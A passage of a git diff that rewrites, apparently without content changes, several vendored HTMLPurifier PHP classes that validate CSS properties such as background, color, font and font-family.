$bit; + } + if ($r === false) { + continue; + } + if ($key == 'position') { + if ($caught[$key] === false) { + $caught[$key] = ''; + } + $caught[$key] .= $r . ' '; + } else { + $caught[$key] = $r; + } + $i++; + break; + } + } + + if (!$i) { + return false; + } + if ($caught['position'] !== false) { + $caught['position'] = $this->info['background-position']-> + validate($caught['position'], $config, $context); + } + + $ret = array(); + foreach ($caught as $value) { + if ($value === false) { + continue; + } + $ret[] = $value; + } + + if (empty($ret)) { + return false; + } + return implode(' ', $ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php index f95de5bbfe..4580ef5a91 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php @@ -1,157 +1,157 @@ - | | left | center | right - ] - [ - | | top | center | bottom - ]? - ] | - [ // this signifies that the vertical and horizontal adjectives - // can be arbitrarily ordered, however, there can only be two, - // one of each, or none at all - [ - left | center | right - ] || - [ - top | center | bottom - ] - ] - top, left = 0% - center, (none) = 50% - bottom, right = 100% -*/ - -/* QuirksMode says: - keyword + length/percentage must be ordered correctly, as per W3C - - Internet Explorer and Opera, however, support arbitrary ordering. We - should fix it up. - - Minor issue though, not strictly necessary. -*/ - -// control freaks may appreciate the ability to convert these to -// percentages or something, but it's not necessary - -/** - * Validates the value of background-position. - */ -class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef -{ - - /** - * @type HTMLPurifier_AttrDef_CSS_Length - */ - protected $length; - - /** - * @type HTMLPurifier_AttrDef_CSS_Percentage - */ - protected $percentage; - - public function __construct() - { - $this->length = new HTMLPurifier_AttrDef_CSS_Length(); - $this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage(); - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = $this->parseCDATA($string); - $bits = explode(' ', $string); - - $keywords = array(); - $keywords['h'] = false; // left, right - $keywords['v'] = false; // top, bottom - $keywords['ch'] = false; // center (first word) - $keywords['cv'] = false; // center (second word) - $measures = array(); - - $i = 0; - - $lookup = array( - 'top' => 'v', - 'bottom' => 'v', - 'left' => 'h', - 'right' => 'h', - 'center' => 'c' - ); - - foreach ($bits as $bit) { - if ($bit === '') { - continue; - } - - // test for keyword - $lbit = ctype_lower($bit) ? $bit : strtolower($bit); - if (isset($lookup[$lbit])) { - $status = $lookup[$lbit]; - if ($status == 'c') { - if ($i == 0) { - $status = 'ch'; - } else { - $status = 'cv'; - } - } - $keywords[$status] = $lbit; - $i++; - } - - // test for length - $r = $this->length->validate($bit, $config, $context); - if ($r !== false) { - $measures[] = $r; - $i++; - } - - // test for percentage - $r = $this->percentage->validate($bit, $config, $context); - if ($r !== false) { - $measures[] = $r; - $i++; - } - } - - if (!$i) { - return false; - } // no valid values were caught - - $ret = array(); - - // first keyword - if ($keywords['h']) { - $ret[] = $keywords['h']; - } elseif ($keywords['ch']) { - $ret[] = $keywords['ch']; - $keywords['cv'] = false; // prevent re-use: center = center center - } elseif (count($measures)) { - $ret[] = array_shift($measures); - } - - if ($keywords['v']) { - $ret[] = $keywords['v']; - } elseif ($keywords['cv']) { - $ret[] = $keywords['cv']; - } elseif (count($measures)) { - $ret[] = array_shift($measures); - } - - if (empty($ret)) { - return false; - } - return implode(' ', $ret); - } -} - -// vim: et sw=4 sts=4 + | | left | center | right + ] + [ + | | top | center | bottom + ]? + ] | + [ // this signifies that the vertical and horizontal adjectives + // can be arbitrarily ordered, however, there can only be two, + // one of each, or none at all + [ + left | center | right + ] || + [ + top | center | bottom + ] + ] + top, left = 0% + center, (none) = 50% + bottom, right = 100% +*/ + +/* QuirksMode says: + keyword + length/percentage must be ordered correctly, as per W3C + + Internet Explorer and Opera, however, support arbitrary ordering. We + should fix it up. + + Minor issue though, not strictly necessary. +*/ + +// control freaks may appreciate the ability to convert these to +// percentages or something, but it's not necessary + +/** + * Validates the value of background-position. + */ +class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef +{ + + /** + * @type HTMLPurifier_AttrDef_CSS_Length + */ + protected $length; + + /** + * @type HTMLPurifier_AttrDef_CSS_Percentage + */ + protected $percentage; + + public function __construct() + { + $this->length = new HTMLPurifier_AttrDef_CSS_Length(); + $this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage(); + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + $bits = explode(' ', $string); + + $keywords = array(); + $keywords['h'] = false; // left, right + $keywords['v'] = false; // top, bottom + $keywords['ch'] = false; // center (first word) + $keywords['cv'] = false; // center (second word) + $measures = array(); + + $i = 0; + + $lookup = array( + 'top' => 'v', + 'bottom' => 'v', + 'left' => 'h', + 'right' => 'h', + 'center' => 'c' + ); + + foreach ($bits as $bit) { + if ($bit === '') { + continue; + } + + // test for keyword + $lbit = ctype_lower($bit) ? $bit : strtolower($bit); + if (isset($lookup[$lbit])) { + $status = $lookup[$lbit]; + if ($status == 'c') { + if ($i == 0) { + $status = 'ch'; + } else { + $status = 'cv'; + } + } + $keywords[$status] = $lbit; + $i++; + } + + // test for length + $r = $this->length->validate($bit, $config, $context); + if ($r !== false) { + $measures[] = $r; + $i++; + } + + // test for percentage + $r = $this->percentage->validate($bit, $config, $context); + if ($r !== false) { + $measures[] = $r; + $i++; + } + } + + if (!$i) { + return false; + } // no valid values were caught + + $ret = array(); + + // first keyword + if ($keywords['h']) { + $ret[] = $keywords['h']; + } elseif ($keywords['ch']) { + $ret[] = $keywords['ch']; + $keywords['cv'] = false; // prevent re-use: center = center center + } elseif (count($measures)) { + $ret[] = array_shift($measures); + } + + if ($keywords['v']) { + $ret[] = $keywords['v']; + } elseif ($keywords['cv']) { + $ret[] = $keywords['cv']; + } elseif (count($measures)) { + $ret[] = array_shift($measures); + } + + if (empty($ret)) { + return false; + } + return implode(' ', $ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php index bd310ff231..16243ba1ed 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php @@ -1,56 +1,56 @@ -getCSSDefinition(); - $this->info['border-width'] = $def->info['border-width']; - $this->info['border-style'] = $def->info['border-style']; - $this->info['border-top-color'] = $def->info['border-top-color']; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = $this->parseCDATA($string); - $string = $this->mungeRgb($string); - $bits = explode(' ', $string); - $done = array(); // segments we've finished - $ret = ''; // return value - foreach ($bits as $bit) { - foreach ($this->info as $propname => $validator) { - if (isset($done[$propname])) { - continue; - } - $r = $validator->validate($bit, $config, $context); - if ($r !== false) { - $ret .= $r . ' '; - $done[$propname] = true; - break; - } - } - } - return rtrim($ret); - } -} - -// vim: et sw=4 sts=4 +getCSSDefinition(); + $this->info['border-width'] = $def->info['border-width']; + $this->info['border-style'] = $def->info['border-style']; + $this->info['border-top-color'] = $def->info['border-top-color']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + $string = $this->mungeRgb($string); + $bits = explode(' ', $string); + $done = array(); // segments we've finished + $ret = ''; // return value + foreach ($bits as $bit) { + foreach ($this->info as $propname => $validator) { + if (isset($done[$propname])) { + continue; + } + $r = $validator->validate($bit, $config, $context); + if ($r !== false) { + $ret .= $r . ' '; + $done[$propname] = true; + break; + } + } + } + return rtrim($ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php index d1b1b3c194..d7287a00c2 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php @@ -1,161 +1,161 @@ -alpha = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - } - - /** - * @param string $color - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($color, $config, $context) - { - static $colors = null; - if ($colors === null) { - $colors = $config->get('Core.ColorKeywords'); - } - - $color = trim($color); - if ($color === '') { - return false; - } - - $lower = strtolower($color); - if (isset($colors[$lower])) { - return $colors[$lower]; - } - - if (preg_match('#(rgb|rgba|hsl|hsla)\(#', $color, $matches) === 1) { - $length = strlen($color); - if (strpos($color, ')') !== $length - 1) { - return false; - } - - // get used function : rgb, rgba, hsl or hsla - $function = $matches[1]; - - $parameters_size = 3; - $alpha_channel = false; - if (substr($function, -1) === 'a') { - $parameters_size = 4; - $alpha_channel = true; - } - - /* - * Allowed types for values : - * parameter_position => [type => max_value] - */ - $allowed_types = array( - 1 => array('percentage' => 100, 'integer' => 255), - 2 => array('percentage' => 100, 'integer' => 255), - 3 => array('percentage' => 100, 'integer' => 255), - ); - $allow_different_types = false; - - if (strpos($function, 'hsl') !== false) { - $allowed_types = array( - 1 => array('integer' => 360), - 2 => array('percentage' => 100), - 3 => array('percentage' => 100), - ); - $allow_different_types = true; - } - - $values = trim(str_replace($function, '', $color), ' ()'); - - $parts = explode(',', $values); - if (count($parts) !== $parameters_size) { - return false; - } - - $type = false; - $new_parts = array(); - $i = 0; - - foreach ($parts as $part) { - $i++; - $part = trim($part); - - if ($part === '') { - return false; - } - - // different check for alpha channel - if ($alpha_channel === true && $i === count($parts)) { - $result = $this->alpha->validate($part, $config, $context); - - if ($result === false) { - return false; - } - - $new_parts[] = (string)$result; - continue; - } - - if (substr($part, -1) === '%') { - $current_type = 'percentage'; - } else { - $current_type = 'integer'; - } - - if (!array_key_exists($current_type, $allowed_types[$i])) { - return false; - } - - if (!$type) { - $type = $current_type; - } - - if ($allow_different_types === false && $type != $current_type) { - return false; - } - - $max_value = $allowed_types[$i][$current_type]; - - if ($current_type == 'integer') { - // Return value between range 0 -> $max_value - $new_parts[] = (int)max(min($part, $max_value), 0); - } elseif ($current_type == 'percentage') { - $new_parts[] = (float)max(min(rtrim($part, '%'), $max_value), 0) . '%'; - } - } - - $new_values = implode(',', $new_parts); - - $color = $function . '(' . $new_values . ')'; - } else { - // hexadecimal handling - if ($color[0] === '#') { - $hex = substr($color, 1); - } else { - $hex = $color; - $color = '#' . $color; - } - $length = strlen($hex); - if ($length !== 3 && $length !== 6) { - return false; - } - if (!ctype_xdigit($hex)) { - return false; - } - } - return $color; - } - -} - -// vim: et sw=4 sts=4 +alpha = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + } + + /** + * @param string $color + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($color, $config, $context) + { + static $colors = null; + if ($colors === null) { + $colors = $config->get('Core.ColorKeywords'); + } + + $color = trim($color); + if ($color === '') { + return false; + } + + $lower = strtolower($color); + if (isset($colors[$lower])) { + return $colors[$lower]; + } + + if (preg_match('#(rgb|rgba|hsl|hsla)\(#', $color, $matches) === 1) { + $length = strlen($color); + if (strpos($color, ')') !== $length - 1) { + return false; + } + + // get used function : rgb, rgba, hsl or hsla + $function = $matches[1]; + + $parameters_size = 3; + $alpha_channel = false; + if (substr($function, -1) === 'a') { + $parameters_size = 4; + $alpha_channel = true; + } + + /* + * Allowed types for values : + * parameter_position => [type => max_value] + */ + $allowed_types = array( + 1 => array('percentage' => 100, 'integer' => 255), + 2 => array('percentage' => 100, 'integer' => 255), + 3 => array('percentage' => 100, 'integer' => 255), + ); + $allow_different_types = false; + + if (strpos($function, 'hsl') !== false) { + $allowed_types = array( + 1 => array('integer' => 360), + 2 => array('percentage' => 100), + 3 => array('percentage' => 100), + ); + $allow_different_types = true; + } + + $values = trim(str_replace($function, '', $color), ' ()'); + + $parts = explode(',', $values); + if (count($parts) !== $parameters_size) { + return false; + } + + $type = false; + $new_parts = array(); + $i = 0; + + foreach ($parts as $part) { + $i++; + $part = trim($part); + + if ($part === '') { + return false; + } + + // different check for alpha channel + if ($alpha_channel === true && $i === count($parts)) { + $result = $this->alpha->validate($part, $config, $context); + + if ($result === false) { + return false; + } + + $new_parts[] = (string)$result; + continue; + } + + if (substr($part, -1) === '%') { + $current_type = 'percentage'; + } else { + $current_type = 'integer'; + } + + if (!array_key_exists($current_type, $allowed_types[$i])) { + return false; + } + + if (!$type) { + $type = $current_type; + } + + if ($allow_different_types === false && $type != $current_type) { + return false; + } + + $max_value = $allowed_types[$i][$current_type]; + + if ($current_type == 'integer') { + // Return value between range 0 -> $max_value + $new_parts[] = (int)max(min($part, $max_value), 0); + } elseif ($current_type == 'percentage') { + $new_parts[] = (float)max(min(rtrim($part, '%'), $max_value), 0) . '%'; + } + } + + $new_values = implode(',', $new_parts); + + $color = $function . '(' . $new_values . ')'; + } else { + // hexadecimal handling + if ($color[0] === '#') { + $hex = substr($color, 1); + } else { + $hex = $color; + $color = '#' . $color; + } + $length = strlen($hex); + if ($length !== 3 && $length !== 6) { + return false; + } + if (!ctype_xdigit($hex)) { + return false; + } + } + return $color; + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php index 3890023229..9c1750554f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php @@ -1,48 +1,48 @@ -defs = $defs; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - foreach ($this->defs as $i => $def) { - $result = $this->defs[$i]->validate($string, $config, $context); - if ($result !== false) { - return $result; - } - } - return false; - } -} - -// vim: et sw=4 sts=4 +defs = $defs; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + foreach ($this->defs as $i => $def) { + $result = $this->defs[$i]->validate($string, $config, $context); + if ($result !== false) { + return $result; + } + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php index ff0d897edc..9d77cc9aaf 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php @@ -1,44 +1,44 @@ -def = $def; - $this->element = $element; - } - - /** - * Checks if CurrentToken is set and equal to $this->element - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $token = $context->get('CurrentToken', true); - if ($token && $token->name == $this->element) { - return false; - } - return $this->def->validate($string, $config, $context); - } -} - -// vim: et sw=4 sts=4 +def = $def; + $this->element = $element; + } + + /** + * Checks if CurrentToken is set and equal to $this->element + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $token = $context->get('CurrentToken', true); + if ($token && $token->name == $this->element) { + return false; + } + return $this->def->validate($string, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php index 019722a487..bde4c3301f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php @@ -1,77 +1,77 @@ -intValidator = new HTMLPurifier_AttrDef_Integer(); - } - - /** - * @param string $value - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($value, $config, $context) - { - $value = $this->parseCDATA($value); - if ($value === 'none') { - return $value; - } - // if we looped this we could support multiple filters - $function_length = strcspn($value, '('); - $function = trim(substr($value, 0, $function_length)); - if ($function !== 'alpha' && - $function !== 'Alpha' && - $function !== 'progid:DXImageTransform.Microsoft.Alpha' - ) { - return false; - } - $cursor = $function_length + 1; - $parameters_length = strcspn($value, ')', $cursor); - $parameters = substr($value, $cursor, $parameters_length); - $params = explode(',', $parameters); - $ret_params = array(); - $lookup = array(); - foreach ($params as $param) { - list($key, $value) = explode('=', $param); - $key = trim($key); - $value = trim($value); - if (isset($lookup[$key])) { - continue; - } - if ($key !== 'opacity') { - continue; - } - $value = $this->intValidator->validate($value, $config, $context); - if ($value === false) { - continue; - } - $int = (int)$value; - if ($int > 100) { - $value = '100'; - } - if ($int < 0) { - $value = '0'; - } - $ret_params[] = "$key=$value"; - $lookup[$key] = true; - } - $ret_parameters = implode(',', $ret_params); - $ret_function = "$function($ret_parameters)"; - return $ret_function; - } -} - -// vim: et sw=4 sts=4 +intValidator = new HTMLPurifier_AttrDef_Integer(); + } + + /** + * @param string $value + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($value, $config, $context) + { + $value = $this->parseCDATA($value); + if ($value === 'none') { + return $value; + } + // if we looped this we could support multiple filters + $function_length = strcspn($value, '('); + $function = trim(substr($value, 0, $function_length)); + if ($function !== 'alpha' && + $function !== 'Alpha' && + $function !== 'progid:DXImageTransform.Microsoft.Alpha' + ) { + return false; + } + $cursor = $function_length + 1; + $parameters_length = strcspn($value, ')', $cursor); + $parameters = substr($value, $cursor, $parameters_length); + $params = explode(',', $parameters); + $ret_params = array(); + $lookup = array(); + foreach ($params as $param) { + list($key, $value) = explode('=', $param); + $key = trim($key); + $value = trim($value); + if (isset($lookup[$key])) { + continue; + } + if ($key !== 'opacity') { + continue; + } + $value = $this->intValidator->validate($value, $config, $context); + if ($value === false) { + continue; + } + $int = (int)$value; + if ($int > 100) { + $value = '100'; + } + if ($int < 0) { + $value = '0'; + } + $ret_params[] = "$key=$value"; + $lookup[$key] = true; + } + $ret_parameters = implode(',', $ret_params); + $ret_function = "$function($ret_parameters)"; + return $ret_function; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php index b9b63f8efd..579b97ef1c 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php @@ -1,176 +1,176 @@ -getCSSDefinition(); - $this->info['font-style'] = $def->info['font-style']; - $this->info['font-variant'] = $def->info['font-variant']; - $this->info['font-weight'] = $def->info['font-weight']; - $this->info['font-size'] = $def->info['font-size']; - $this->info['line-height'] = $def->info['line-height']; - $this->info['font-family'] = $def->info['font-family']; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - static $system_fonts = array( - 'caption' => true, - 'icon' => true, - 'menu' => true, - 'message-box' => true, - 'small-caption' => true, - 'status-bar' => true - ); - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') { - return false; - } - - // check if it's one of the keywords - $lowercase_string = strtolower($string); - if (isset($system_fonts[$lowercase_string])) { - return $lowercase_string; - } - - $bits = explode(' ', $string); // bits to process - $stage = 0; // this indicates what we're looking for - $caught = array(); // which stage 0 properties have we caught? - $stage_1 = array('font-style', 'font-variant', 'font-weight'); - $final = ''; // output - - for ($i = 0, $size = count($bits); $i < $size; $i++) { - if ($bits[$i] === '') { - continue; - } - switch ($stage) { - case 0: // attempting to catch font-style, font-variant or font-weight - foreach ($stage_1 as $validator_name) { - if (isset($caught[$validator_name])) { - continue; - } - $r = $this->info[$validator_name]->validate( - $bits[$i], - $config, - $context - ); - if ($r !== false) { - $final .= $r . ' '; - $caught[$validator_name] = true; - break; - } - } - // all three caught, continue on - if (count($caught) >= 3) { - $stage = 1; - } - if ($r !== false) { - break; - } - case 1: // attempting to catch font-size and perhaps line-height - $found_slash = false; - if (strpos($bits[$i], '/') !== false) { - list($font_size, $line_height) = - explode('/', $bits[$i]); - if ($line_height === '') { - // ooh, there's a space after the slash! - $line_height = false; - $found_slash = true; - } - } else { - $font_size = $bits[$i]; - $line_height = false; - } - $r = $this->info['font-size']->validate( - $font_size, - $config, - $context - ); - if ($r !== false) { - $final .= $r; - // attempt to catch line-height - if ($line_height === false) { - // we need to scroll forward - for ($j = $i + 1; $j < $size; $j++) { - if ($bits[$j] === '') { - continue; - } - if ($bits[$j] === '/') { - if ($found_slash) { - return false; - } else { - $found_slash = true; - continue; - } - } - $line_height = $bits[$j]; - break; - } - } else { - // slash already found - $found_slash = true; - $j = $i; - } - if ($found_slash) { - $i = $j; - $r = $this->info['line-height']->validate( - $line_height, - $config, - $context - ); - if ($r !== false) { - $final .= '/' . $r; - } - } - $final .= ' '; - $stage = 2; - break; - } - return false; - case 2: // attempting to catch font-family - $font_family = - implode(' ', array_slice($bits, $i, $size - $i)); - $r = $this->info['font-family']->validate( - $font_family, - $config, - $context - ); - if ($r !== false) { - $final .= $r . ' '; - // processing completed successfully - return rtrim($final); - } - return false; - } - } - return false; - } -} - -// vim: et sw=4 sts=4 +getCSSDefinition(); + $this->info['font-style'] = $def->info['font-style']; + $this->info['font-variant'] = $def->info['font-variant']; + $this->info['font-weight'] = $def->info['font-weight']; + $this->info['font-size'] = $def->info['font-size']; + $this->info['line-height'] = $def->info['line-height']; + $this->info['font-family'] = $def->info['font-family']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + static $system_fonts = array( + 'caption' => true, + 'icon' => true, + 'menu' => true, + 'message-box' => true, + 'small-caption' => true, + 'status-bar' => true + ); + + // regular pre-processing + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + + // check if it's one of the keywords + $lowercase_string = strtolower($string); + if (isset($system_fonts[$lowercase_string])) { + return $lowercase_string; + } + + $bits = explode(' ', $string); // bits to process + $stage = 0; // this indicates what we're looking for + $caught = array(); // which stage 0 properties have we caught? + $stage_1 = array('font-style', 'font-variant', 'font-weight'); + $final = ''; // output + + for ($i = 0, $size = count($bits); $i < $size; $i++) { + if ($bits[$i] === '') { + continue; + } + switch ($stage) { + case 0: // attempting to catch font-style, font-variant or font-weight + foreach ($stage_1 as $validator_name) { + if (isset($caught[$validator_name])) { + continue; + } + $r = $this->info[$validator_name]->validate( + $bits[$i], + $config, + $context + ); + if ($r !== false) { + $final .= $r . ' '; + $caught[$validator_name] = true; + break; + } + } + // all three caught, continue on + if (count($caught) >= 3) { + $stage = 1; + } + if ($r !== false) { + break; + } + case 1: // attempting to catch font-size and perhaps line-height + $found_slash = false; + if (strpos($bits[$i], '/') !== false) { + list($font_size, $line_height) = + explode('/', $bits[$i]); + if ($line_height === '') { + // ooh, there's a space after the slash! + $line_height = false; + $found_slash = true; + } + } else { + $font_size = $bits[$i]; + $line_height = false; + } + $r = $this->info['font-size']->validate( + $font_size, + $config, + $context + ); + if ($r !== false) { + $final .= $r; + // attempt to catch line-height + if ($line_height === false) { + // we need to scroll forward + for ($j = $i + 1; $j < $size; $j++) { + if ($bits[$j] === '') { + continue; + } + if ($bits[$j] === '/') { + if ($found_slash) { + return false; + } else { + $found_slash = true; + continue; + } + } + $line_height = $bits[$j]; + break; + } + } else { + // slash already found + $found_slash = true; + $j = $i; + } + if ($found_slash) { + $i = $j; + $r = $this->info['line-height']->validate( + $line_height, + $config, + $context + ); + if ($r !== false) { + $final .= '/' . $r; + } + } + $final .= ' '; + $stage = 2; + break; + } + return false; + case 2: // attempting to catch font-family + $font_family = + implode(' ', array_slice($bits, $i, $size - $i)); + $r = $this->info['font-family']->validate( + $font_family, + $config, + $context + ); + if ($r !== false) { + $final .= $r . ' '; + // processing completed successfully + return rtrim($final); + } + return false; + } + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php index f9af36d790..74e24c8816 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php @@ -1,219 +1,219 @@ -mask = '_- '; - for ($c = 'a'; $c <= 'z'; $c++) { - $this->mask .= $c; - } - for ($c = 'A'; $c <= 'Z'; $c++) { - $this->mask .= $c; - } - for ($c = '0'; $c <= '9'; $c++) { - $this->mask .= $c; - } // cast-y, but should be fine - // special bytes used by UTF-8 - for ($i = 0x80; $i <= 0xFF; $i++) { - // We don't bother excluding invalid bytes in this range, - // because the our restriction of well-formed UTF-8 will - // prevent these from ever occurring. - $this->mask .= chr($i); - } - - /* - PHP's internal strcspn implementation is - O(length of string * length of mask), making it inefficient - for large masks. However, it's still faster than - preg_match 8) - for (p = s1;;) { - spanp = s2; - do { - if (*spanp == c || p == s1_end) { - return p - s1; - } - } while (spanp++ < (s2_end - 1)); - c = *++p; - } - */ - // possible optimization: invert the mask. - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - static $generic_names = array( - 'serif' => true, - 'sans-serif' => true, - 'monospace' => true, - 'fantasy' => true, - 'cursive' => true - ); - $allowed_fonts = $config->get('CSS.AllowedFonts'); - - // assume that no font names contain commas in them - $fonts = explode(',', $string); - $final = ''; - foreach ($fonts as $font) { - $font = trim($font); - if ($font === '') { - continue; - } - // match a generic name - if (isset($generic_names[$font])) { - if ($allowed_fonts === null || isset($allowed_fonts[$font])) { - $final .= $font . ', '; - } - continue; - } - // match a quoted name - if ($font[0] === '"' || $font[0] === "'") { - $length = strlen($font); - if ($length <= 2) { - continue; - } - $quote = $font[0]; - if ($font[$length - 1] !== $quote) { - continue; - } - $font = substr($font, 1, $length - 2); - } - - $font = $this->expandCSSEscape($font); - - // $font is a pure representation of the font name - - if ($allowed_fonts !== null && !isset($allowed_fonts[$font])) { - continue; - } - - if (ctype_alnum($font) && $font !== '') { - // very simple font, allow it in unharmed - $final .= $font . ', '; - continue; - } - - // bugger out on whitespace. form feed (0C) really - // shouldn't show up regardless - $font = str_replace(array("\n", "\t", "\r", "\x0C"), ' ', $font); - - // Here, there are various classes of characters which need - // to be treated differently: - // - Alphanumeric characters are essentially safe. We - // handled these above. - // - Spaces require quoting, though most parsers will do - // the right thing if there aren't any characters that - // can be misinterpreted - // - Dashes rarely occur, but they fairly unproblematic - // for parsing/rendering purposes. - // The above characters cover the majority of Western font - // names. - // - Arbitrary Unicode characters not in ASCII. Because - // most parsers give little thought to Unicode, treatment - // of these codepoints is basically uniform, even for - // punctuation-like codepoints. These characters can - // show up in non-Western pages and are supported by most - // major browsers, for example: "MS 明朝" is a - // legitimate font-name - // . See - // the CSS3 spec for more examples: - // - // You can see live samples of these on the Internet: - // - // However, most of these fonts have ASCII equivalents: - // for example, 'MS Mincho', and it's considered - // professional to use ASCII font names instead of - // Unicode font names. Thanks Takeshi Terada for - // providing this information. - // The following characters, to my knowledge, have not been - // used to name font names. - // - Single quote. While theoretically you might find a - // font name that has a single quote in its name (serving - // as an apostrophe, e.g. Dave's Scribble), I haven't - // been able to find any actual examples of this. - // Internet Explorer's cssText translation (which I - // believe is invoked by innerHTML) normalizes any - // quoting to single quotes, and fails to escape single - // quotes. (Note that this is not IE's behavior for all - // CSS properties, just some sort of special casing for - // font-family). So a single quote *cannot* be used - // safely in the font-family context if there will be an - // innerHTML/cssText translation. Note that Firefox 3.x - // does this too. - // - Double quote. In IE, these get normalized to - // single-quotes, no matter what the encoding. (Fun - // fact, in IE8, the 'content' CSS property gained - // support, where they special cased to preserve encoded - // double quotes, but still translate unadorned double - // quotes into single quotes.) So, because their - // fixpoint behavior is identical to single quotes, they - // cannot be allowed either. Firefox 3.x displays - // single-quote style behavior. - // - Backslashes are reduced by one (so \\ -> \) every - // iteration, so they cannot be used safely. This shows - // up in IE7, IE8 and FF3 - // - Semicolons, commas and backticks are handled properly. - // - The rest of the ASCII punctuation is handled properly. - // We haven't checked what browsers do to unadorned - // versions, but this is not important as long as the - // browser doesn't /remove/ surrounding quotes (as IE does - // for HTML). - // - // With these results in hand, we conclude that there are - // various levels of safety: - // - Paranoid: alphanumeric, spaces and dashes(?) - // - International: Paranoid + non-ASCII Unicode - // - Edgy: Everything except quotes, backslashes - // - NoJS: Standards compliance, e.g. sod IE. Note that - // with some 